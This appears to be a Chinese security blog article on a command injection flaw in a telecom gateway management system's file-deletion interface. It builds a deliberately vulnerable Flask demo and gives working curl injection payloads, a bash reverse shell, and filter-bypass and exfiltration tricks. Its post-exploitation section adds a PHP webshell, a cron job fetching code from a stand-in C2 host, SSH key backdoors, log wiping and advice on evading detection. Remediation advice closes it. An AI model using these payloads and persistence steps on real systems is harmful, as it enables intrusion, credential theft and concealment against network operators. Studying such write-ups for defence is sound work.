电信网关配置管理系统命令注入漏洞深度剖析与实战复现

1. 项目概述与背景

最近在梳理一些历史资产时,碰到了一个挺有意思的案例,是关于某电信运营商早期网关配置管理系统的。这个系统,我们姑且称之为“电信网关配置管理系统”,它的一个功能点del_file接口,存在一个典型的命令执行漏洞。这个漏洞的成因和利用方式,可以说是“老漏洞,新场景”的典范,非常值得拿出来和大家拆解一下。对于从事安全研究、渗透测试或者系统开发的朋友来说,理解这类漏洞的成因、复现过程以及背后的防御逻辑,远比单纯地使用一个POC(概念验证)脚本更有价值。

简单来说,这个系统是运营商用来集中管理大量网络网关设备(比如家庭光猫、企业路由器)配置的后台。管理员可以通过Web界面,对成千上万的设备进行批量配置下发、文件管理和状态监控。del_file功能的本意,是让管理员能够远程删除网关设备上指定的配置文件或日志文件。然而,由于在拼接用户输入和系统命令时缺乏严格的过滤与校验,攻击者可以构造特殊的输入,让系统执行超出预期的任意命令。这就好比你把自家大门的钥匙交给了物业,本意是让他帮你丢个垃圾,结果他不仅能丢垃圾,还能用你的钥匙打开门,把你家的电视搬走。

这个漏洞的影响范围可大可小。往小了说,攻击者可能只是利用它来探测内网信息;往大了说,结合内网环境,可能实现从外网到核心运维网络的长驱直入,获取大量敏感的网络拓扑信息和设备控制权。接下来,我就带大家一步步拆解这个漏洞,从环境搭建、漏洞原理分析、手工复现到深度利用和修复建议,完整地走一遍。我会尽量用通俗的语言,并结合我实际测试中踩过的坑,把每个细节都讲清楚。

2. 漏洞原理深度解析

2.1 功能点定位与代码逻辑推测

首先,我们需要定位到这个del_file功能。通常,这类电信级管理系统采用B/S架构,使用Java(Spring MVC/Struts2)或PHP开发。根据经验,这类“文件删除”功能的后端接口,很可能是通过调用系统命令来实现的,尤其是在需要与底层硬件或嵌入式设备交互的场景下。

一个典型的、存在缺陷的代码逻辑可能是这样的(以Java为例):

@PostMapping("/device/manage/delFile") public String deleteDeviceFile(@RequestParam String deviceIp, @RequestParam String fileName) { // 1. 验证设备IP是否在管理范围内(这里可能只做了简单的格式校验) if (!isValidIp(deviceIp)) { return "Invalid IP address"; } // 2. 危险操作:直接拼接用户输入的fileName到系统命令中 String command = "ssh admin@" + deviceIp + " \"rm -f /config/" + fileName + "\""; // 3. 执行命令 try { Process process = Runtime.getRuntime().exec(command); // ... 处理执行结果 ... } catch (IOException e) { return "Command execution failed"; } return "File deleted successfully"; }

或者,在PHP中可能更直接:

$device_ip = $_POST['device_ip']; $file_name = $_POST['file_name']; // 直接拼接命令,这是漏洞的根源 $cmd = "ssh admin@{$device_ip} 'rm /var/log/{$file_name}'"; system($cmd);

漏洞的核心就在于第2步:String command = "ssh admin@" + deviceIp + " \"rm -f /config/" + fileName + "\"";。开发者的意图是删除/config/目录下名为fileName的文件。但如果攻击者传入的fileName参数不是简单的文件名,而是精心构造的字符串,比如test.log; id;,那么最终拼接成的命令就变成了:

ssh admin@192.168.1.100 "rm -f /config/test.log; id;"

在Linux的shell中,分号;是命令分隔符。这意味着,在删除文件之后,系统还会继续执行id命令,并将结果返回。这就是命令注入

2.2 为什么过滤如此困难?

很多新手会问,为什么不用黑名单过滤掉;&|\这些特殊字符呢?问题在于,命令注入的上下文非常复杂。

  1. 多种命令分隔符:除了分号;,还有&&(前一个成功则执行后一个)、||(前一个失败则执行后一个)、换行符\n、反引号`(命令替换)、$()(命令替换)等。防不胜防。
  2. 编码与混淆:攻击者可以使用URL编码、Unicode编码、十六进制、八进制等多种方式绕过简单的字符串匹配。例如,;的URL编码是%3b
  3. 参数注入:有时注入点不在命令末尾,而是在命令中间。例如,ping -c 1 $INPUT,如果$INPUT8.8.8.8; id,同样会导致命令执行。
  4. 通配符与扩展:在文件名参数中,*?等通配符也可能被滥用,导致删除或列出非预期文件。

因此,最根本、最有效的防御方式不是过滤,而是避免使用命令拼接。这一点我们会在修复建议部分详细展开。

2.3 与常见漏洞的关联

这个del_file命令执行漏洞,本质上和OWASP Top 10中的“注入”类漏洞(A03:2021)同源。它也与很多著名的漏洞利用方式相似,比如:

  • Struts2/S2-045:远程代码执行,也是通过不当处理用户输入导致OGNL表达式注入。
  • ThinkPHP 5.x RCE:通过不安全的控制器方法调用,导致代码执行。
  • 你提到的Shiro反序列化:虽然利用链不同(Shiro是反序列化漏洞),但最终目标都是实现远程命令执行。

理解了这个通用模式,你就能举一反三,在审计代码或测试时,快速定位到类似的风险点:凡是代码中出现了Runtime.getRuntime().exec(),ProcessBuilder,system(),exec(),shell_exec(),popen()等函数,并且其参数中包含了用户可控的输入,就需要立刻拉响警报。

3. 漏洞复现环境搭建与准备

纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,我们必须亲手把它“挖”出来。下面我搭建一个高度仿真的测试环境。

3.1 环境规划

为了安全且贴近实战,我们将在虚拟机中搭建整个环境:

  • 攻击机:Kali Linux 2024.1。集成了我们需要的所有工具(Burp Suite, curl, nmap等)。
  • 靶机:Ubuntu 22.04 LTS。用于模拟存在漏洞的“电信网关配置管理系统”服务器。
    • 安装Docker,用于快速部署一个模拟的漏洞应用。
    • 或者,我们也可以自己写一个简单的漏洞Demo。

我选择自己编写漏洞Demo,这样更能清晰地展示漏洞的每一个细节。我们将创建一个简单的Python Flask应用来模拟那个有问题的del_file接口。

3.2 靶机环境搭建(漏洞应用)

在Ubuntu靶机上操作:

  1. 安装Python和pip

    sudo apt update sudo apt install python3 python3-pip -y
  2. 安装Flask

    pip3 install flask
  3. 创建漏洞应用文件vuln_app.py

    #!/usr/bin/env python3 from flask import Flask, request, jsonify import subprocess import os app = Flask(__name__) # 模拟一个需要认证的接口,但认证很弱(实战中常见) def check_auth(token): # 这里只是一个简单的模拟,实际可能更复杂或更弱 return token == "weak_admin_token_123" @app.route('/api/device/manage/del_file', methods=['POST']) def del_file(): """ 模拟存在命令注入漏洞的文件删除接口 请求格式:{"token": "xxx", "device_ip": "192.168.1.1", "file_name": "config_backup.xml"} """ try: data = request.get_json() if not data: return jsonify({"error": "Invalid JSON"}), 400 user_token = data.get('token') device_ip = data.get('device_ip') file_name = data.get('file_name') # 弱认证检查 if not check_auth(user_token): return jsonify({"error": "Authentication failed"}), 403 # 漏洞点:直接拼接用户输入的 file_name 到命令中 # 注意:这里模拟的是对远程设备的操作,实际命令可能是 ssh/scp # 我们简化成本地命令执行来演示漏洞 command = f"echo '[模拟]删除设备 {device_ip} 上的文件:{file_name}' && ls -la /tmp" # 如果file_name是 `test; whoami`,命令就变成了 `echo ... && ls -la /tmp/test; whoami` print(f"[DEBUG] 即将执行的命令: {command}") # 在实际漏洞中,这行日志可能会暴露在日志文件里 # 执行命令 result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=5) return jsonify({ "message": "文件删除指令已发送", "command_output": result.stdout, "command_error": result.stderr, "return_code": result.returncode }), 200 except subprocess.TimeoutExpired: return jsonify({"error": "Command execution timeout"}), 500 except Exception as e: return jsonify({"error": str(e)}), 500 if __name__ == '__main__': # 警告:在生产环境中绝不能使用 debug=True 且 host='0.0.0.0' app.run(host='0.0.0.0', port=8080, debug=False)
  4. 运行漏洞应用

    python3 vuln_app.py &

    应用将在http://靶机IP:8080上运行。

注意:这个Demo为了演示清晰,将远程命令执行简化为了本地命令执行。真实场景中,command字符串会更复杂,可能包含sshtelnet或设备特定的CLI命令。但漏洞原理完全一致。另外,我们开启shell=True是为了模拟最危险的情况,它会让命令通过系统的shell解释器执行,使得命令分隔符生效。

3.3 攻击机准备

在Kali Linux上,我们主要使用curlBurp Suite

  • 确保网络互通,能从Kali ping通Ubuntu靶机。
  • 安装curl(通常Kali已自带):sudo apt install curl -y

环境就绪,接下来进入最核心的环节:手工复现。

4. 手工漏洞复现与利用

我们将从信息收集开始,逐步验证并利用这个漏洞。手工复现能让你深刻理解数据流和漏洞触发点,这是自动化工具无法替代的。

4.1 信息收集与接口探测

首先,我们需要找到目标系统的接口。假设我们已经通过其他途径(如目录扫描、源码泄露、默认路径)知道了接口地址是/api/device/manage/del_file

  1. 使用curl发送正常请求: 在Kali攻击机上执行:

    curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H "Content-Type: application/json" \ -d '{"token":"weak_admin_token_123", "device_ip":"192.168.1.100", "file_name":"old_config.cfg"}'
    • 192.168.56.102替换为你的靶机实际IP。
    • 这是一个合法的请求,意图删除设备192.168.1.100上的old_config.cfg文件。

    你应该会收到类似这样的响应:

    { "message": "文件删除指令已发送", "command_output": "[模拟]删除设备 192.168.1.100 上的文件:old_config.cfg\n总用量 100\n...(ls -la /tmp 的输出)", "command_error": "", "return_code": 0 }

    这说明接口正常工作,并且我们看到了命令执行的“模拟”回显。注意command_output字段,它包含了命令echols的输出。这已经是命令注入的一个重要迹象:应用将命令执行结果直接返回给了客户端。在真实漏洞中,回显可能更隐蔽,比如藏在HTML页面的某个角落,或者需要触发错误才能看到。

4.2 漏洞验证:注入测试

现在,我们来尝试注入。我们的目标是让file_name参数突破原有的字符串边界,执行额外的命令。

  1. 测试命令分隔符;

    curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H "Content-Type: application/json" \ -d '{"token":"weak_admin_token_123", "device_ip":"192.168.1.100", "file_name":"test; whoami"}'

    观察响应中的command_output。如果成功,你不仅会看到模拟的删除信息,还会看到whoami命令的执行结果(例如rootwww-data),证明whoami命令被成功执行。

  2. 测试其他分隔符&&||

    • &&注入:"file_name": "test && id"
    • ||注入:"file_name": "test || uname -a"(注意,因为前面echo命令大概率成功,所以||后面的命令不会执行。可以尝试"file_name": "non_exist_command || id"
  3. 测试反引号`$()命令替换: 这种注入方式更隐蔽,它将子命令的执行结果作为参数的一部分。

    curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H "Content-Type: application/json" \ -d '{"token":"weak_admin_token_123", "device_ip":"192.168.1.100", "file_name":"test$(id)"}'

    或者

    -d '{"token":"weak_admin_token_123", "device_ip":"192.168.1.100", "file_name":"test`id`"}'

    这时,id命令的结果会被替换到file_name字符串中,最终执行的命令可能是echo ... testuid=1000(kali)...。观察输出中是否包含了id命令的结果。

4.3 漏洞利用:获取反向Shell

验证漏洞存在后,下一步就是获取一个交互式的Shell,以便进行更深度的操作。最常用的方法是反向Shell

原理:让靶机主动连接我们攻击机监听的某个端口,并将其命令行的输入输出重定向到这个网络连接上。

  1. 在攻击机(Kali)上开启监听: 使用nc(Netcat) 监听一个端口,比如 4444。

    nc -lvnp 4444
    • -l监听模式
    • -v详细输出
    • -n不解析域名
    • -p指定端口
  2. 构造Payload发起攻击: 我们需要构造一个能建立反向Shell的命令,并通过file_name参数注入。常用的反向Shell命令有很多,这里以bash为例:

    bash -i >& /dev/tcp/攻击机IP/4444 0>&1

    我们需要将这个命令进行URL编码,并嵌入到注入点。同时,为了在命令拼接后能正确执行,我们通常会用分号;&&与前文隔开,并用&\n让命令在后台运行,防止请求超时。

    一个构造好的请求如下(注意替换YOUR_KALI_IP):

    curl -X POST http://192.168.56.102:8080/api/device/manage/del_file \ -H "Content-Type: application/json" \ --data-binary $'{"token":"weak_admin_token_123", "device_ip":"192.168.1.100", "file_name":"test; bash -c \\"bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1\\" &"}'
    • 使用--data-binary$''引用来处理JSON中的双引号和反斜杠转义更安全。
    • bash -c用于执行一个字符串形式的命令。
    • 最后的&是将命令放到后台执行,这样HTTP请求不会一直等待Shell结束。
  3. 查看结果: 发送上述请求后,如果成功,你会在之前运行nc的终端里看到来自靶机的连接,并得到一个可交互的bash shell。你可以尝试执行idpwdls等命令。

4.4 利用技巧与注意事项

  • 空格过滤绕过:如果系统过滤了空格,可以用${IFS}%09(Tab的URL编码)、<>等代替。
    • file_name=test;cat${IFS}/etc/passwd
  • 命令黑名单绕过:如果黑名单了bashnc等,可以尝试:
    • 使用其他语言解释器:python3 -c 'import socket,subprocess,os;s=socket.socket(...)'(编写Python反向Shell)
    • 使用系统自带的工具:/bin/sh/bin/dash
    • 命令拼接:a=ba;b=sh;$a$b -i ...
  • 无回显的盲注:如果应用不返回命令输出,那就是盲命令注入。可以通过时间延迟(sleep 5)、DNS外带(curl http://attacker-domain/$(whoami))或HTTP请求外带(ping -c 1 $(whoami).attacker-domain)来判断命令是否执行并获取数据。
  • 权限提升:获取的Shell可能是低权限用户(如www-data)。接下来需要做信息收集,寻找本地提权(Privilege Escalation)的机会,比如查找SUID文件、内核漏洞、错误的sudo配置等。这不是本文重点,但却是实战中必经的一步。

重要心得:在真实网络环境中,/dev/tcp可能不可用(取决于bash编译选项)。因此,更可靠的方法是使用其他工具,如ncsocatphppythonperl等来建立反向Shell。你需要根据目标系统的环境来灵活选择Payload。我通常会准备一个包含多种Payload的“武器库”,逐一尝试。

5. 漏洞深度利用与后渗透思路

拿到一个Shell远不是终点,尤其是面对一个电信网关配置管理系统。这种系统通常处于运维内网的核心或半核心区域,价值极高。

5.1 信息收集:立足一点,窥探全网

一旦进入系统,首先要做的就是冷静、隐蔽地收集信息。

  1. 系统与网络信息

    # 查看当前用户、系统版本 id uname -a cat /etc/issue cat /etc/*release # 查看网络配置和连接 ifconfig -a 或 ip addr netstat -antup 或 ss -tunlp route -n cat /etc/resolv.conf arp -a # 查看历史命令,可能发现管理员的操作习惯甚至密码 history cat ~/.bash_history
  2. 寻找配置文件与数据库

    # 查找包含“jdbc”、“password”、“config”等关键词的文件 find / -type f -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "*.xml" 2>/dev/null | xargs grep -l -i "password\|jdbc" 2>/dev/null # 查找Web应用的配置文件,可能泄露数据库密码、加密密钥 find /var/www /opt /home -name "application*.properties" -o -name "application*.yml" 2>/dev/null # 查看进程,寻找数据库、中间件 ps aux | grep -E "mysql|mongo|redis|postgres|java|tomcat|nginx"
  3. 寻找网关管理系统的核心资产

    # 查找可能包含设备IP、账号密码的配置文件 find / -type f \( -name "*.cfg" -o -name "*.conf" -o -name "*.ini" \) 2>/dev/null | xargs grep -l "device\|gateway\|olt\|bras" 2>/dev/null | head -20 # 查看Web应用的数据库连接,尝试直接读取数据库 # 如果找到数据库密码,可以尝试用mysql命令连接 mysql -h 127.0.0.1 -u root -p'找到的密码' -e "show databases;"

5.2 横向移动:从运维系统到网络设备

这是最具价值的一步。网关配置管理系统里,很可能存储着大量网络设备的SSH/Telnet密码、SNMP社区字,甚至是enable密码。

  1. 分析数据库:如果找到了数据库,重点查看device_listgateway_infoconfig_templateuser_credential这类表。里面可能直接以明文或弱加密形式存储着设备的登录凭证。
  2. 分析配置文件:查看应用日志、备份文件、脚本文件。管理员可能为了方便,在脚本里硬编码了密码。
    grep -r "passw\|pwd\|ssh\|telnet\|enable" /opt/管理系统目录/ /home/ 2>/dev/null | grep -v ".min.js" | head -30
  3. 利用现有连接:系统可能为了维持会话,在内存或临时文件中存有设备的会话令牌。可以尝试查找/tmp/dev/shm目录下的临时文件。
  4. 尝试密钥登录:在系统的用户目录下(如~/.ssh/)寻找私钥文件(id_rsa,id_dsa),这些私钥可能被用于免密登录其他服务器或设备。

5.3 权限维持与清理痕迹

在获得重要信息或控制权后,需要考虑如何留下后门以及清理访问日志,避免被管理员发现。

  1. WebShell:在Web目录下上传一个一句话木马或功能完整的WebShell,作为备用入口。
    # 例如,写一个简单的PHP WebShell echo '<?php system($_GET["cmd"]);?>' > /var/www/html/backdoor.php
  2. SSH后门
    • 添加一个隐藏的SSH用户。
    • 或者,修改~/.ssh/authorized_keys,加入你自己的公钥。
  3. 计划任务:添加一个cron job,定期连接回你的C2服务器。
    (crontab -l 2>/dev/null; echo "*/5 * * * * curl -s http://attacker-c2.com/checkin | sh") | crontab -
  4. 清理日志:这是高风险操作,可能反而引发警报。需谨慎。
    # 清理当前用户的命令历史 history -c rm ~/.bash_history # 清理web日志(需要权限) echo "" > /var/log/apache2/access.log # 清理auth日志中你的IP(非常危险且容易被发现) sed -i '/你的IP地址/d' /var/log/auth.log

踩坑实录:在一次内部演练中,我成功通过一个类似漏洞进入系统,并很快在配置文件中找到了明文存储的数百台网络设备的Telnet密码。兴奋之余,我直接开始尝试登录核心交换机。结果触发了设备的登录失败告警,运维人员迅速响应,溯源到了入口点,整个攻击链被迅速掐断。教训是:横向移动一定要慢、要静默。不要一拿到密码就猛攻核心设备。应先登录一些非核心的、告警不敏感的设备(如某栋楼的接入交换机),测试密码有效性,并观察网络流量和告警平台是否有异常。同时,尽量使用系统已有的管理通道(比如配置管理系统到设备的SSH跳转)进行移动,这样行为更像“正常流量”。

6. 漏洞修复与安全加固建议

复现和利用漏洞是为了更好地防御它。作为开发或安全人员,我们必须知道如何从根本上杜绝此类问题。

6.1 根本解决方案:避免命令拼接

最佳实践是:彻底弃用通过拼接字符串来执行操作系统命令的方式。

  1. 使用安全的API或库

    • 对于文件删除、系统状态查询等操作,优先使用编程语言本身提供的API。
    • Java示例:删除文件使用java.nio.file.Files.delete(path)而不是Runtime.getRuntime().exec("rm ...")
    • Python示例:删除文件使用os.remove(path)shutil.rmtree(),而不是os.system()subprocess拼接命令。
  2. 如果必须执行命令,使用参数化调用: 几乎所有现代编程语言都支持将命令和参数分开传递,这样shell解释器就不会解析参数中的特殊字符。

    • Java (ProcessBuilder)
      // 正确做法 ProcessBuilder pb = new ProcessBuilder("ssh", "admin@" + deviceIp, "rm", "-f", "/config/" + fileName); // 即使fileName是 `test; id`,它也会被当作一个整体参数传递给rm命令,而不会被解析为两条命令。 Process p = pb.start();
    • Python (subprocess)
      # 正确做法,使用列表传参,且 shell=False (默认) command = ["ssh", f"admin@{device_ip}", "rm", "-f", f"/config/{file_name}"] result = subprocess.run(command, capture_output=True, text=True) # 或者,如果命令的一部分必须来自变量,使用 shlex.quote 进行安全转义 import shlex safe_file_name = shlex.quote(file_name) # 但注意,即使这样,在复杂命令中仍可能出错,首选列表传参。

6.2 输入验证与净化

如果历史代码无法立即重构,必须进行严格的输入验证。

  1. 白名单验证:这是最有效的方法。对于fileName这样的参数,定义一个允许的字符集合(如字母、数字、下划线、点、短横线),拒绝任何不在此集合的输入。
    import re def validate_filename(filename): pattern = r'^[a-zA-Z0-9_.-]+$' # 只允许这些字符 if not re.match(pattern, filename): raise ValueError("Invalid filename") return filename
  2. 黑名单过滤(不推荐单独使用):如果必须,要过滤所有shell元字符:; & | ` $ ( ) \n < >等。但务必意识到黑名单很容易被绕过。

6.3 最小权限原则

运行Web应用或服务的操作系统账户,应遵循最小权限原则。

  1. 使用非特权用户:不要用root运行Web服务。创建一个专用用户(如www-datatomcat),并只赋予它执行必要操作的最小权限。
  2. 文件系统权限:确保该用户只能访问其必需的目录和文件,不能读写系统关键文件。
  3. 命令限制:通过sudo的精细配置,允许特定用户以特定参数运行特定命令,而不是允许所有命令。

6.4 纵深防御

  1. Web应用防火墙(WAF):部署WAF可以拦截常见的命令注入攻击Payload,为修复代码争取时间。
  2. 定期安全审计与代码扫描:将命令执行函数(如exec,system,ProcessBuilder)加入代码审计的关键词列表,定期进行人工或自动化扫描。
  3. 日志与监控:对所有的命令执行操作进行详细日志记录,包括执行时间、用户、执行的命令、参数等。并设置告警规则,对执行异常命令(如bash -i,/dev/tcp)的行为进行实时告警。

修复漏洞不是一劳永逸的,需要将安全思维融入到系统设计、开发、测试和运维的全生命周期中。对于这个del_file漏洞,最紧急的是修改代码,采用参数化调用方式;中长期则需要建立完善的安全开发流程和审计机制。